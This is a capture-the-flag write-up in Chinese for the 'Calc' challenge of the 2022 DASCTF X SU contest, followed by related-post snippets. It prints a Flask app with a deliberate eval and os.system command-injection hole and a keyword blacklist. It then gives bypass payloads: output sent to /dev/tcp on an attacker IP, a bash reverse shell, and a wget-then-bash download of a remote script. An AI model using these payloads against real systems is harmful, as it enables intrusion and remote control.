查看代码
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time app=Flask(__name__) def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
num=1#`ls` @app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html") @app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!" if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)

首先放出源码

然后观察可以知道,对num的过滤极其严格,所以突破口并不在num上,自然而然想到突破口应该是log

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

程序会将num插入到log字符串的最后然后先后执行 eval(num)和os.system(log)。

我们要想办法在第二个函数上执行但是要避免在eval函数中报错以导致程序不会进行下一步。基于python特性想到了用#注释。

然后就可以使用`代码`来优先执行,其实$()有相同作用但是被过滤了。

接下来有多种方法我挨个尝试。

1 输出重定向到攻击机

payload:calc?num=1%23`ls%09>/dev/tcp/IP/2333`

直接将输出重定向到攻击机 因为空格被过滤所以用制表符

然后直接打开这个文件即可

2 命令行反弹

因为&被过滤不能直接用

bash -i >& /dev/tcp/IP/2333 0>&1

所以现在本地用python写一个文件,然后开启服务器

让目标机读取本机上的文件并执行即可。(哦别忘了在云服务器上安全组开启端口)

ok 这就结束了

payload:

calc?num=1%23`wget%09http://Ip/log.sh`

calc?num=1%23`bash%09log.sh`

第二种方法结束。

还有其他避开eval报错得到方法还可以去学习

2022DASCTF X SU 三月春季挑战赛 Calc的更多相关文章

  1. 2022DASCTF X SU 三月春季挑战赛 ezpop

    复现一道dactf的ezpop <?php class crow { public $v1; public $v2; function eval() { echo new $this->v ...

  2. 2022DASCTF Apr X FATE 防疫挑战赛-- SimpleFlow

    1.SimpleFlow 得到pcapng文件,协议分级统计显示大部分为TCP流和http流 过滤http流,发现了flag.zip,foremost分离,得到加密的zip 在pcapng中寻找pas ...

  3. linux su和sudo命令的区别

    一. 使用 su 命令临时切换用户身份 1.su 的适用条件和威力 su命令就是切换用户的工具,怎么理解呢?比如我们以普通用户beinan登录的,但要添加用户任务,执行useradd ,beinan用 ...

  4. .NET Core 2.0版本预计于2017年春季发布

    英文原文: NET Core 2.0 Planned for Spring 2017 微软项目经理 Immo Landwerth 公布了即将推出的 .NET Core 2.0 版本的细节,该版本预计于 ...

  5. entrar en su zapatilla de deporte en este lugar

    Mientras que yo apareció su campo usando nuestro Nike Glide Wildhorse sólo dos ($ 110) zapatillas de ...

  6. su与su-

    1.Linux中的用户切换:su和su - 的区别 大部分Linux发行版的默认账户是普通用户,而更改系统文件或者执行某些命令,需要root身份才能进行,这就需要从当前用户切换到root用户,Linu ...

  7. su root认证失败的解决方法

    sudo passwd 输入安装密码. 输入新密码. 输入 su 即获得root权限.

  8. BZOJ2506: calc

    Description            给一个长度为n的非负整数序列A1,A2,…,An.现有m个询问,每次询问给出l,r,p,k,问满足l<=i<=r且Ai mod p = k的值 ...

  9. su到普通用户不能起图形 解决办法

    环境介绍:       登录系统的时候采用的是root用户,然后su - oracle帐户后,然后执行startx命令启动图形界面之后就报如下的错误,根据提示是PAM起作用了.如下是错误信息:[ora ...

随机推荐

  1. VMware虚拟机三种网络模式

    VMware三种网络模式 在学习中经常遇到Vmware虚拟机网络设置有问题,可能是因为你没有理解这三种网络模式的工作原理.VMware虚拟机常见的网络类型有bridged(桥接).NAT(地址转换). ...

  2. Tableau学习Step4一数据解释、异常值监测、参数使用、分析结果如何对外发布

    Tableau学习Step4一数据解释.异常值监测.参数使用.分析结果如何对外发布 本文首发于博客冰山一树Sankey,去博客浏览效果更好. 一. 前言 本教程通过一个案例从浅到深来学习Tableau ...

  3. JZ-015-反转链表

    反转链表 题目描述 输入一个链表,反转链表后,输出新链表的表头. 题目链接: 反转链表 代码 /** * 标题:反转链表 * 题目描述 * 输入一个链表,反转链表后,输出新链表的表头. * 题目链接: ...

  4. sql数据处理

    安装pymysql 读取数据库数据进行pandas操作,并用seaborn和matplotlib进行画图

  5. ELKB-ElasticSearch-Logstash-Kibana-beats 个人理解

    先说一下ELK,E是ElasticSearch,L是Logstash,K是Kibana,还有一个Beats.按照从采集到展示的顺序介绍下各个组件的作用. 1.Beats Beats 是一个免费且开放的 ...

  6. python安装各种插件

    http://www.lfd.uci.edu/~gohlke/pythonlibs/#pip 感受:如果编辑pip真的一直出问题,考虑降成32位的进行安装.毕竟合理搭配比木桶突出有用.

  7. 分页PHP

    <?php//1.连接数据库$link = mysqli_connect('127.0.0.1','root','root','1906');//2.设置字符集mysqli_set_charse ...

  8. gitee的使用

    git clone git add . # 跟踪所有改动过的文件 git commit -m "commit message" # 提交所有更新过的文件 git checkout ...

  9. 实践1使用XGB实现酒店信息消歧

    XGB算法是决策树衍生出来的一种算法 场景:酒店的业务人员希望我们能够提供一个算法服务去为酒店信息做一个自动化的匹配,以通过算法的手段,找到那些确定相同的酒店和确定不同的酒店 以下代码为部分 理解业务 ...

  10. 导入导出笔记-easyExcel初探(表格导入和模板化导出)

    前言 本文使用的EasyExcel Alibaba和EasyPoi Apache技术栈分析 EasyExcel Dependency EasyPoi Dependency 1.需求一:表格化需求导入导 ...